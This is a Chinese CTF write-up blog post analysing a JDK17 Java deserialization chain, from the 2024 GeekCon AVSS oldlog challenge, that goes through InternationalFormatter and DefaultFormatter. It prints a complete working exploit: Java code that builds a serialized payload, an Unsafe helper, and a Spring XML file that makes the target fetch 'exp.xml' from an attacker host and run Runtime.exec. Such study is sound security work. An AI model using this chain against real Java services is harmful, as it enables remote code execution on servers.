基于2024GeekCon_AVSS-oldlog的JDK高版本JNDI注入分析

前言

主要是从一些题目看到了这个的影子,所以想借此学习一下JDK17的原生和JDK21的JNDI等等,也算是做一个记录。而且好久都没更博客了,这学期实验太多导致的(

引入

首先是我遇到了某个CTF里出的这道题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.sun.net.httpserver.HttpServer;

import javax.naming.InitialContext;
import java.io.IOException;

public class Main {

public static void main(String[] args) throws IOException {
var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
server.createContext("/", req -> {
var code = 200;
var response = switch (req.getRequestURI().getPath()) {
case "/der" -> {
try {
var param = req.getRequestURI().getQuery();
yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();
} catch (Throwable e) {
e.printStackTrace();
yield ":(";
}
}
default -> {
code = 404;
yield "Not found";
}
};
req.sendResponseHeaders(code, 0);
var os = req.getResponseBody();
os.write(response.getBytes());
os.close();
});
server.start();
System.out.printf("Server listening on :%s\n", port);
}

}

很显然的反序列化入口,而且是JDK17环境。

给的依赖包如下:

image-20241114173104336

n1ght.jar里面是出题人自己写的parseObject返回任意字符串作为链子的一部分,算是使得gadget更加稳定触发了:

image-20241114173231111

这里用到的就是2024GeekCon_AVSS-oldlog的trick。

直接搬用一下出题人wp的分析:

InternationalFormatter#readObject

1
2
3
4
5
6
@Serial
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
s.defaultReadObject();
updateMaskIfNecessary();
}

跟进updateMaskIfNecessary()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void updateMaskIfNecessary() {
if (!getAllowsInvalid() && (getFormat() != null)) {
if (!isValidMask()) {
updateMask();
}
else {
String newString = getFormattedTextField().getText();

if (!newString.equals(string)) {
updateMask();
}
}
}
}

跟进updateMask()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void updateMask() {
if (getFormat() != null) {
Document doc = getFormattedTextField().getDocument();

validMask = false;
if (doc != null) {
try {
string = doc.getText(0, doc.getLength());
} catch (BadLocationException ble) {
string = null;
}
if (string != null) {
try {
Object value = stringToValue(string);
AttributedCharacterIterator iterator = getFormat().
formatToCharacterIterator(value);

updateMask(iterator);
}
catch (ParseException pe) {}
catch (IllegalArgumentException iae) {}
catch (NullPointerException npe) {}
}
}
}
}

跟进Object value = stringToValue(string)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object stringToValue(String text) throws ParseException {
Object value = stringToValue(text, getFormat());

// Convert to the value class if the Value returned from the
// Format does not match.
if (value != null && getValueClass() != null &&
!getValueClass().isInstance(value)) {
value = super.stringToValue(value.toString());
}
try {
if (!isValidValue(value, true)) {
throw new ParseException("Value not within min/max range", 0);
}
} catch (ClassCastException cce) {
throw new ParseException("Class cast exception comparing values: "
+ cce, 0);
}
return value;
}

跟进到DefaultFormatter#stringToValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object stringToValue(String string) throws ParseException {
Class<?> vc = getValueClass();
JFormattedTextField ftf = getFormattedTextField();

if (vc == null && ftf != null) {
Object value = ftf.getValue();

if (value != null) {
vc = value.getClass();
}
}
if (vc != null) {
Constructor<?> cons;

try {
ReflectUtil.checkPackageAccess(vc);
SwingUtilities2.checkAccess(vc.getModifiers());
cons = vc.getConstructor(new Class<?>[]{String.class});

} catch (NoSuchMethodException nsme) {
cons = null;
}

if (cons != null) {
try {
SwingUtilities2.checkAccess(cons.getModifiers());
return cons.newInstance(new Object[] { string });
} catch (Throwable ex) {
throw new ParseException("Error creating instance", 0);
}
}
}
return string;
}

发现cons.newInstance(new Object[] { string })实现了任意类的实例化,这里就想到了ClassPathXmlApplicationContext的trick。

官方调用栈

image-20241114173904157

Exp

Exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.eddiemurphy;

import com.n1ght.StringFormat;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.*;
import javax.swing.text.DefaultFormatter;
import javax.swing.text.InternationalFormatter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Exp {
public static void main(String[] args) throws Exception{

InternationalFormatter internationalFormatter = new InternationalFormatter();
DefaultFormatter defaultFormatter = new DefaultFormatter();
defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
jFormattedTextField.setValue("http://vps:port/exp.xml");
StringFormat aaa = new StringFormat("{0}");
internationalFormatter.setFormat(aaa);
UnSafeTools.setObject(internationalFormatter,
JFormattedTextField.AbstractFormatter.class.getDeclaredField("ftf"),
jFormattedTextField);
UnSafeTools.setObject(internationalFormatter,
DefaultFormatter.class.getDeclaredField("allowsInvalid"),
false);
UnSafeTools.setObject(internationalFormatter,
InternationalFormatter.class.getDeclaredField("validMask"),
true);
UnSafeTools.setObject(internationalFormatter,
DefaultFormatter.class.getDeclaredField("valueClass"),
ClassPathXmlApplicationContext.class);
internationalFormatter.setAllowsInvalid(false);

ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(internationalFormatter);
System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
//ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bao.toByteArray());
//new ObjectInputStream(byteArrayInputStream).readObject();
}
}

UnSafeTools.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.eddiemurphy;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import sun.misc.Unsafe;

public class UnSafeTools {
static Unsafe unsafe;

public UnSafeTools() {
}

public static Unsafe getUnsafe() throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
return unsafe;
}

public static void setObject(Object o, Field field, Object value) {
unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
}

public static Object newClass(Class c) throws InstantiationException {
Object o = unsafe.allocateInstance(c);
return o;
}

public static void bypassModule(Class src, Class dst) throws Exception {
Unsafe unsafe = getUnsafe();
Method getModule = dst.getDeclaredMethod("getModule");
getModule.setAccessible(true);
Object module = getModule.invoke(dst);
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(src, addr, module);
}

static {
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
} catch (Exception var1) {
System.out.println("Error: " + var1);
}

}
}

exp.xml

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="data" class="java.lang.String">
<constructor-arg><value>PAYLOAD</value></constructor-arg>
</bean>
<bean class="#{T(java.lang.Runtime).getRuntime().exec('command')}"></bean>
</beans>

image-20241114174343672

正文

那么回到2024GeekCon-AVSS-oldlog,可以说原题是相当精彩,衍生出今年很多Java题目的打法。你可以从今年许多JDK17反序列化题目中轻松地找到它的身影。


基于2024GeekCon_AVSS-oldlog的JDK高版本JNDI注入分析
https://eddiemurphy89.github.io/2024/10/30/基于2024GeekCon-AVSS-oldlog的JDK高版本JNDI注入分析/
作者
EddieMurphy
发布于
2024年10月30日
许可协议